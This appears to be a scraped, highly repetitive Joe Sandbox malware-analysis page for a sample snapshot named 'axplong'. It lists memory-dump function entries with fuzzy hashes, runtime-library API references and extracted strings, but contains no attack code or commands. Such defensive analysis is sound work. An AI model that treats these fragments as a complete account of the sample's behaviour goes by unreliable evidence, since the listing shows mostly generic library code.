Associated: 00000007.00000002.3247568585.00000000009B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247887174.00000000009B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3248006942.0000000000B49000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3248023218.0000000000B4B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6a0000_axplong.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 38f4847725409d6a79445db716442eb57e8fe3bcd0d5fc61caf97773013c07de
Instruction ID: ba0defd50fdb41829f2bea1ef4e52b840c7cc59e24bc0018909dd9b28ccad2da
Opcode Fuzzy Hash: 38f4847725409d6a79445db716442eb57e8fe3bcd0d5fc61caf97773013c07de
Instruction Fuzzy Hash: 99E08C31A526086FCE257B54DA1C9887B9BEF15345F00991AFC0846322CB25EC81CA91

Function 006DA1C2 Relevance: .0, Instructions: 22COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000007.00000002.3247456508.00000000006A1000.00000040.00000001.01000000.00000007.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000007.00000002.3247422440.00000000006A0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247456508.0000000000702000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247545725.0000000000709000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247568585.000000000070B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247568585.000000000088D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247568585.000000000096F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247568585.000000000099A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247568585.00000000009A2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247568585.00000000009B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247887174.00000000009B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3248006942.0000000000B49000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3248023218.0000000000B4B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6a0000_axplong.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e6d3f81bf9612d8360929edb31d8ce1375adbaa32f41a7c69d112e79a3c508fb
Instruction ID: ff0324256ae0cb8bf7f212fdfe2e01f35253d58062e7ce0405e3bd37f3b86210
Opcode Fuzzy Hash: e6d3f81bf9612d8360929edb31d8ce1375adbaa32f41a7c69d112e79a3c508fb
Instruction Fuzzy Hash: 0BE04632915228EBCB15DBC8890498AF2ADEB48B00F15409BB501D3240C270DF00C7D4

Function 006B7870 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 123COMMON

Download Yara Rule

APIs

__Cnd_unregister_at_thread_exit.LIBCPMT ref: 006B795C
__Cnd_destroy_in_situ.LIBCPMT ref: 006B7968
__Mtx_destroy_in_situ.LIBCPMT ref: 006B7971

Strings

'kkd+p, xrefs: 006B7879, 006B790B
d+p, xrefs: 006B7904, 006B7912, 006B790A
@yk, xrefs: 006B794A

Memory Dump Source

Source File: 00000007.00000002.3247456508.00000000006A1000.00000040.00000001.01000000.00000007.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000007.00000002.3247422440.00000000006A0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247456508.0000000000702000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247545725.0000000000709000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247568585.000000000070B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247568585.000000000088D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247568585.000000000096F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247568585.000000000099A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247568585.00000000009A2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247568585.00000000009B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247887174.00000000009B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3248006942.0000000000B49000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3248023218.0000000000B4B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6a0000_axplong.jbxd

Yara matches

Similarity

API ID: Cnd_destroy_in_situCnd_unregister_at_thread_exitMtx_destroy_in_situ
String ID: 'kkd+p$@yk$d+p
API String ID: 4078500453-3556248620
Opcode ID: 73bbcfbb0283a28885d8013f3290a81a4208777fdd1a304cb8d40e5e5915fdb6
Instruction ID: c8b407c609291b9885753d6f6d6cb7ec66510b2cc73e5d0406006c025dcd3e94
Opcode Fuzzy Hash: 73bbcfbb0283a28885d8013f3290a81a4208777fdd1a304cb8d40e5e5915fdb6
Instruction Fuzzy Hash: 1431F4F2A047049FD720EF68D845AAAB7E9EF54310F000A7EE945C7342E771EA94C7A5

Function 006D70C9 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 74COMMON

Download Yara Rule

APIs

_wcsrchr.LIBVCRUNTIME ref: 006D710B

Strings

.bat, xrefs: 006D713A
.exe, xrefs: 006D7118
.cmd, xrefs: 006D7129
.com, xrefs: 006D714B

Memory Dump Source

Source File: 00000007.00000002.3247456508.00000000006A1000.00000040.00000001.01000000.00000007.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000007.00000002.3247422440.00000000006A0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247456508.0000000000702000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247545725.0000000000709000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247568585.000000000070B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247568585.000000000088D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247568585.000000000096F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247568585.000000000099A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247568585.00000000009A2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247568585.00000000009B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247887174.00000000009B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3248006942.0000000000B49000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3248023218.0000000000B4B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6a0000_axplong.jbxd

Yara matches

Similarity

API ID: _wcsrchr
String ID: .bat$.cmd$.com$.exe
API String ID: 1752292252-4019086052
Opcode ID: 322a8fd755a83e8e93e8ae507b93c58031cfcb84e0066f890807ce62010f3e41
Instruction ID: 6caf99ddc25e1fcb05e157d5267f09de6159ddb20482132122b0c1633e164e8e
Opcode Fuzzy Hash: 322a8fd755a83e8e93e8ae507b93c58031cfcb84e0066f890807ce62010f3e41
Instruction Fuzzy Hash: ED012B37E086172616182419AC126BF179B9B83FB472F012FFA44FB3C1FE44DC028195

Function 006A2E80 Relevance: 7.8, APIs: 5, Instructions: 272COMMON

Download Yara Rule

APIs

__Mtx_unlock.LIBCPMT ref: 006A2F1F
__Mtx_unlock.LIBCPMT ref: 006A2F8C
__Cnd_broadcast.LIBCPMT ref: 006A2FA3
__Mtx_unlock.LIBCPMT ref: 006A30B5
__Mtx_unlock.LIBCPMT ref: 006A315B

Memory Dump Source

Source File: 00000007.00000002.3247456508.00000000006A1000.00000040.00000001.01000000.00000007.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000007.00000002.3247422440.00000000006A0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247456508.0000000000702000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247545725.0000000000709000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247568585.000000000070B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247568585.000000000088D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247568585.000000000096F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247568585.000000000099A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247568585.00000000009A2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247568585.00000000009B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247887174.00000000009B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3248006942.0000000000B49000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3248023218.0000000000B4B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6a0000_axplong.jbxd

Yara matches

Similarity

API ID: Mtx_unlock$Cnd_broadcast
String ID:
API String ID: 32384418-0
Opcode ID: 5843ebc370e9963bce27722b2e0524d880de5a39a0090370f5d68ebdfd68545d
Instruction ID: cc793d8039f125207f5bf6ac73b5052cd96424e980a76b374f1a082c1f51b100
Opcode Fuzzy Hash: 5843ebc370e9963bce27722b2e0524d880de5a39a0090370f5d68ebdfd68545d
Instruction Fuzzy Hash: 7CA1D1B1A413169FDB21EF68C844BDAB7AABF16324F00412DE815D7342EB30EE45CB91

Function 006A2670 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 207COMMON

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 006A2806
___std_exception_destroy.LIBVCRUNTIME ref: 006A28A0

Strings

P#j, xrefs: 006A2811
P#j, xrefs: 006A27BE, 006A2899

Memory Dump Source

Source File: 00000007.00000002.3247456508.00000000006A1000.00000040.00000001.01000000.00000007.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000007.00000002.3247422440.00000000006A0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247456508.0000000000702000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247545725.0000000000709000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247568585.000000000070B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247568585.000000000088D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247568585.000000000096F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247568585.000000000099A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247568585.00000000009A2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247568585.00000000009B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247887174.00000000009B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3248006942.0000000000B49000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3248023218.0000000000B4B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6a0000_axplong.jbxd

Yara matches

Similarity

API ID: ___std_exception_copy___std_exception_destroy
String ID: P#j$P#j
API String ID: 2970364248-3156330307
Opcode ID: cda426864b54f6b4d1bb9ffbbddc21180e75feaf6efe62b09c856008b0c84dc9
Instruction ID: 4d2f1bfa4bdbefcf8e3c8a1830a7832fd1467bf9991ca2c767305631e33f69f2
Opcode Fuzzy Hash: cda426864b54f6b4d1bb9ffbbddc21180e75feaf6efe62b09c856008b0c84dc9
Instruction Fuzzy Hash: 30719271E002099FDB04DFA8C891BEDFBB6EF59310F14416DE805A7346EB74A984CBA5

Function 006A2AD0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 51COMMON

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 006A2B23

Strings

P#j, xrefs: 006A2B2E
This function cannot be called on a default constructed task, xrefs: 006A2B03
P#j, xrefs: 006A2B18

Memory Dump Source

Source File: 00000007.00000002.3247456508.00000000006A1000.00000040.00000001.01000000.00000007.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000007.00000002.3247422440.00000000006A0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247456508.0000000000702000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247545725.0000000000709000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247568585.000000000070B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247568585.000000000088D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247568585.000000000096F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247568585.000000000099A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247568585.00000000009A2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247568585.00000000009B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247887174.00000000009B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3248006942.0000000000B49000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3248023218.0000000000B4B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6a0000_axplong.jbxd

Yara matches

Similarity

API ID: ___std_exception_copy
String ID: P#j$P#j$This function cannot be called on a default constructed task
API String ID: 2659868963-1761824029
Opcode ID: 015fa2a393d87cbf59cef0c2b61b8c87c28eac894bcf4900d32d1d085da6b7c9
Instruction ID: 3b27e8ce837e21830050296d242d79db5b0abf5562c9dc61e465b27c1c35288d
Opcode Fuzzy Hash: 015fa2a393d87cbf59cef0c2b61b8c87c28eac894bcf4900d32d1d085da6b7c9
Instruction Fuzzy Hash: AEF09C71A1030C9BC710DF6C98419EEBBEE9F15300F50419DF90457701EB71AA548B99

Function 006A2440 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 32COMMON

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 006A247E

Strings

P#j, xrefs: 006A2486
'kkd+p, xrefs: 006A2440
P#j, xrefs: 006A246D

Memory Dump Source

Source File: 00000007.00000002.3247456508.00000000006A1000.00000040.00000001.01000000.00000007.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000007.00000002.3247422440.00000000006A0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247456508.0000000000702000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247545725.0000000000709000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247568585.000000000070B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247568585.000000000088D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247568585.000000000096F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247568585.000000000099A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247568585.00000000009A2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247568585.00000000009B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247887174.00000000009B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3248006942.0000000000B49000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3248023218.0000000000B4B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6a0000_axplong.jbxd

Yara matches

Similarity

API ID: ___std_exception_copy
String ID: 'kkd+p$P#j$P#j
API String ID: 2659868963-847949053
Opcode ID: 58f6f86bdce5c36f0a58a5e0a8cecc11fbc3a4224ee50c3f2262d5815ead4f19
Instruction ID: 6c62f6ad593cdfab6a841bb9b39f554b931e387d332d210aedb43ea6d5a92f77
Opcode Fuzzy Hash: 58f6f86bdce5c36f0a58a5e0a8cecc11fbc3a4224ee50c3f2262d5815ead4f19
Instruction Fuzzy Hash: 2DF0A0B1D1020D67C714EFE8D801989B7ADDA16310B008A2AF744E7601F7B0FA448B9A

Function 006DC9B0 Relevance: 6.3, APIs: 4, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 006DCA37

Memory Dump Source

Source File: 00000007.00000002.3247456508.00000000006A1000.00000040.00000001.01000000.00000007.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000007.00000002.3247422440.00000000006A0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247456508.0000000000702000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247545725.0000000000709000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247568585.000000000070B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247568585.000000000088D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247568585.000000000096F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247568585.000000000099A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247568585.00000000009A2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247568585.00000000009B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247887174.00000000009B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3248006942.0000000000B49000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3248023218.0000000000B4B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6a0000_axplong.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: 06cc7c729825ef3726f3ff46e89b4dfb23933aad1dd17f016a943cdb57bb7414
Instruction ID: fc7553eb00f5effcc3d96cf9f8904be3e75ab629dae9a1cb9ee03d2aeb974f91
Opcode Fuzzy Hash: 06cc7c729825ef3726f3ff46e89b4dfb23933aad1dd17f016a943cdb57bb7414
Instruction Fuzzy Hash: 3DB10532D1028A9FDB11CF68C881BEEBBA7EF55360F1481ABE5599B341D6349D42CB60

Function 006BBAA2 Relevance: 6.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 006BBAFA
__Xtime_diff_to_millis2.LIBCPMT ref: 006BBB14
_xtime_get.LIBCPMT ref: 006BBB37
__Xtime_diff_to_millis2.LIBCPMT ref: 006BBB43

Memory Dump Source

Source File: 00000007.00000002.3247456508.00000000006A1000.00000040.00000001.01000000.00000007.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000007.00000002.3247422440.00000000006A0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247456508.0000000000702000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247545725.0000000000709000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247568585.000000000070B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247568585.000000000088D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247568585.000000000096F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247568585.000000000099A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247568585.00000000009A2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247568585.00000000009B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247887174.00000000009B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3248006942.0000000000B49000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3248023218.0000000000B4B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6a0000_axplong.jbxd

Yara matches

Similarity

API ID: Xtime_diff_to_millis2_xtime_get
String ID:
API String ID: 531285432-0
Opcode ID: 368be0cbb52661d506d1026df0053bcb9163612128ec834276cb347414ed7456
Instruction ID: 029f717703a7f2dd00d3e968ee31b7469187da54e4748192b7e28704d98a8659
Opcode Fuzzy Hash: 368be0cbb52661d506d1026df0053bcb9163612128ec834276cb347414ed7456
Instruction Fuzzy Hash: F22153B1A001099FDF10EFA4CC819FEBB7AEF48720F004069F601A7261DB70AE418BA5

Function 006B7040 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 236COMMON

Download Yara Rule

APIs

__Mtx_init_in_situ.LIBCPMT ref: 006B726C

Strings

@.j, xrefs: 006B7250
`zk, xrefs: 006B7282

Memory Dump Source

Source File: 00000007.00000002.3247456508.00000000006A1000.00000040.00000001.01000000.00000007.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000007.00000002.3247422440.00000000006A0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247456508.0000000000702000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247545725.0000000000709000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247568585.000000000070B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247568585.000000000088D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247568585.000000000096F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247568585.000000000099A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247568585.00000000009A2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247568585.00000000009B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247887174.00000000009B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3248006942.0000000000B49000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3248023218.0000000000B4B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6a0000_axplong.jbxd

Yara matches

Similarity

API ID: Mtx_init_in_situ
String ID: @.j$`zk
API String ID: 3366076730-1601469256
Opcode ID: 65196ed00f59b10e89c9991b005f289436453a5f21bbf12988589f0f8e763608
Instruction ID: 8fc2c1afde4d3b0e48e3386d3c46117d5236698a75af3e98de47d849aa3c1896
Opcode Fuzzy Hash: 65196ed00f59b10e89c9991b005f289436453a5f21bbf12988589f0f8e763608
Instruction Fuzzy Hash: F7A137B0E016198FDB21CFA8C88479EBBF2BF49710F188159E919AB351EB759D41CF90

Function 006DF21F Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 113COMMONLIBRARYCODE

Download Yara Rule

APIs

___free_lconv_mon.LIBCMT ref: 006DF263

Strings

`'p, xrefs: 006DF235
8"p, xrefs: 006DF30B

Memory Dump Source

Source File: 00000007.00000002.3247456508.00000000006A1000.00000040.00000001.01000000.00000007.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000007.00000002.3247422440.00000000006A0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247456508.0000000000702000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247545725.0000000000709000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247568585.000000000070B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247568585.000000000088D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247568585.000000000096F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247568585.000000000099A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247568585.00000000009A2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247568585.00000000009B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247887174.00000000009B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3248006942.0000000000B49000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3248023218.0000000000B4B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6a0000_axplong.jbxd

Yara matches

Similarity

API ID: ___free_lconv_mon
String ID: 8"p$`'p
API String ID: 3903695350-1477525673
Opcode ID: de205fa9be4a0f97bd6701cea94ba7e8dcc399755ff42df4851b49c240e67f39
Instruction ID: f42aeac261b2adb0f40b8b0fa4639b7fc160415c266e93a2006de4a387c1bbc5
Opcode Fuzzy Hash: de205fa9be4a0f97bd6701cea94ba7e8dcc399755ff42df4851b49c240e67f39
Instruction Fuzzy Hash: 92319E31E04204AFDB60ABB9D905B9A73EAAF10320F15452FE44BDB391DF32ED808B55

Function 006A3930 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 95COMMON

Download Yara Rule

APIs

__Mtx_init_in_situ.LIBCPMT ref: 006A3962
__Mtx_init_in_situ.LIBCPMT ref: 006A39A1

Strings

pBj, xrefs: 006A3940

Memory Dump Source

Source File: 00000007.00000002.3247456508.00000000006A1000.00000040.00000001.01000000.00000007.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000007.00000002.3247422440.00000000006A0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247456508.0000000000702000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247545725.0000000000709000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247568585.000000000070B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247568585.000000000088D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247568585.000000000096F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247568585.000000000099A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247568585.00000000009A2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247568585.00000000009B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247887174.00000000009B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3248006942.0000000000B49000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3248023218.0000000000B4B000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_6a0000_axplong.jbxd

Yara matches

Similarity

API ID: Mtx_init_in_situ
String ID: pBj
API String ID: 3366076730-3298301059
Opcode ID: 08f140c99986e50706f2301f832714d55e0ffc8f0e92e22c14f230c76b95b8e4
Instruction ID: 0c217d5614bfb7aa1c7fc9afd2be386fda774c512cdc36ac35fb1c35b4d99896
Opcode Fuzzy Hash: 08f140c99986e50706f2301f832714d55e0ffc8f0e92e22c14f230c76b95b8e4
Instruction Fuzzy Hash: 864124B0501B058FD720DF19C588B9ABBF2FF44315F10861DE9AA8B341EBB4AA15CF80

Function 006A2520 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 29COMMON

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 006A2552

Strings

P#j, xrefs: 006A255D
P#j, xrefs: 006A2547

Memory Dump Source

Source File: 00000007.00000002.3247456508.00000000006A1000.00000040.00000001.01000000.00000007.sdmp, Offset: 006A0000, based on PE: true

Associated: 00000007.00000002.3247422440.00000000006A0000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247456508.0000000000702000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247545725.0000000000709000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247568585.000000000070B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247568585.000000000088D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247568585.000000000096F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247568585.000000000099A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247568585.00000000009A2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247568585.00000000009B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3247887174.00000000009B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.3248006942.0000000000B49000.00000040.00000001.01000000.00000007.sdmpDownload File
